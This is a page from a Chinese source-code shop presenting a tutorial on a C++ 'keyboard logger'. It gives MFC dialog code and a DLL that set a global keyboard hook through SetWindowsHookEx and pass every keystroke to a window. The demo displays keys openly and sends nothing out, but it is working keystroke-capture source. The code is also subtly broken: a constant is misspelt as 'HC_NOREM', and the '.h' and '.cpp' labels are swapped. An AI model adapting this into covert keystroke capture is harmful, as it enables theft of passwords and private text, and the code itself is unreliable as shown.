源码网商城,靠谱的源码在线交易网站 我的订单 购物车 帮助

源码网商城

C++键盘记录程序代码

  • 时间:2022-05-07 19:01 编辑: 来源: 阅读:
  • 扫一扫,手机访问
摘要:C++键盘记录程序代码
本文实例讲述了C++键盘记录程序。分享给大家供大家参考。具体分析如下: 主程序如下: 就是基于对话框的框架,加个个OnHookKey函数,
[u]复制代码[/u] 代码如下:
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息  {      char szKey[80]={0};      GetKeyNameText(lParam, szKey, 80);      CString strItem;      strItem.Format("按键:%s\r\n", szKey);      CString strEdit;      GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);      GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);      ::MessageBeep(MB_OK);      return 0;  }
在初始化时,调用DLL中的:
[u]复制代码[/u] 代码如下:
SetKeyHook(TRUE, 0, m_hWnd)
在析构时,调用DLL中的:
[u]复制代码[/u] 代码如下:
SetKeyHook(FALSE);
.cpp源文件代码:
[u]复制代码[/u] 代码如下:
#include <afxwin.h>  #define  HM_KEY WM_USER+100  //CMyApp  class CMyApp:public CWinApp  {  public:      BOOL InitInstance();  };    //CMyDialog  class CMainDialog:public CDialog  {  public:      CMainDialog(CWnd* pParentWnd = NULL);    protected:      virtual BOOL OnInitDialog( );      afx_msg void OnCancel();      afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam);  //处理自定义消息的声明        DECLARE_MESSAGE_MAP()  };
.h头文件代码:
[u]复制代码[/u] 代码如下:
#include "resource.h"  #include "KeyHookApp.h"  #include "KeyHook.h"  #pragma comment(lib,"KeyHook.lib")    CMyApp theApp;    BOOL CMyApp::InitInstance()  {      CMainDialog dlg;      m_pMainWnd = &dlg;   //给m_pMainWnd 主窗口      dlg.DoModal();      return FALSE; //不进入消息循环  }    BEGIN_MESSAGE_MAP(CMainDialog, CDialog)      ON_MESSAGE(HM_KEY, OnHookKey) //自定义消息  END_MESSAGE_MAP()    //CMainDialog  CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)    {      }   BOOL CMainDialog::OnInitDialog( )  {      CDialog::OnInitDialog();      if (!SetKeyHook(TRUE, 0, m_hWnd))      {          MessageBox("安装钩子失败");      }            return TRUE;  }  //处理关闭消息  void CMainDialog::OnCancel()  {      OutputDebugString("oncancel");      SetKeyHook(FALSE);      CDialog::OnCancel();      return;  }  long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息  {      char szKey[80]={0};      GetKeyNameText(lParam, szKey, 80);      CString strItem;      strItem.Format("按键:%s\r\n", szKey);      CString strEdit;      GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);      GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);      ::MessageBeep(MB_OK);      return 0;  }
dll的代码: .cpp源文件代码:
[u]复制代码[/u] 代码如下:
// KeyHook.cpp : 定义 DLL 应用程序的导出函数。  //    #include "stdafx.h"  #include "KeyHook.h"      //共享数据段  #pragma data_seg("YCIShared")  HWND g_hWndCaller=NULL; //保存主窗口句柄  HHOOK g_hHook = NULL; //保存钩子句柄   #pragma data_seg()  // 这是导出变量的一个示例  KEYHOOK_API int nKeyHook=0;    // 这是导出函数的一个示例。  KEYHOOK_API int fnKeyHook(void)  {      return 42;  }      //通过内存得到模块句柄的帮助函数  HMODULE WINAPI ModuleFromAddress(LPVOID pv)  {      MEMORY_BASIC_INFORMATION  mbi;      if (0 != ::VirtualQuery(pv, &mbi, sizeof(MEMORY_BASIC_INFORMATION)))      {          return (HMODULE)mbi.AllocationBase;      }      else      {          return NULL;      }  }  //钩子处理函数  LRESULT CALLBACK KeyboardProc(      __in  int code,      __in  WPARAM wParam,      __in  LPARAM lParam      )  {      if (code<0||code==HC_NOREM)      {          return ::CallNextHookEx(g_hHook, code, wParam,lParam);      }      //如果重复消息,交给下一链      if (lParam & 0x40000000)      {          return ::CallNextHookEx(g_hHook, code, wParam,lParam);      }      //通知主窗口      ::PostMessageA(g_hWndCaller, HM_KEY, wParam, lParam);      return ::CallNextHookEx(g_hHook, code, wParam,lParam);        }  //安装和卸载钩子函数  BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)  {      BOOL bRet = TRUE;      g_hWndCaller = hWndCaller;      if (bInstall) //安装钩子      {          g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId);          bRet = (g_hHook != NULL);      }      else //卸载钩子      {          ::UnhookWindowsHookEx(g_hHook);          g_hHook = NULL;      }      return bRet;  }  // 这是已导出类的构造函数。  // 有关类定义的信息,请参阅 KeyHook.h  CKeyHook::CKeyHook()  {      return;  }
.h头文件代码:
[u]复制代码[/u] 代码如下:
// 下列 ifdef 块是创建使从 DLL 导出更简单的  // 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 KEYHOOK_EXPORTS  // 符号编译的。在使用此 DLL 的  // 任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将  // KEYHOOK_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的  // 符号视为是被导出的。  #ifdef KEYHOOK_EXPORTS  #define KEYHOOK_API __declspec(dllexport)  #else  #define KEYHOOK_API __declspec(dllimport)  #endif    #define  HM_KEY WM_USER + 100  // 此类是从 KeyHook.dll 导出的  class KEYHOOK_API CKeyHook {  public:      CKeyHook(void);      // TODO: 在此添加您的方法。  };    extern KEYHOOK_API int nKeyHook;    KEYHOOK_API int fnKeyHook(void);    //声明要导出的  BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);
.def代码:
[u]复制代码[/u] 代码如下:
EXPORTS      SetKeyHook  SECTIONS      YCIShared  Read Write Shared
希望本文所述对大家的C++程序设计有所帮助。
  • 全部评论(0)
联系客服
客服电话:
400-000-3129
微信版

扫一扫进微信版
返回顶部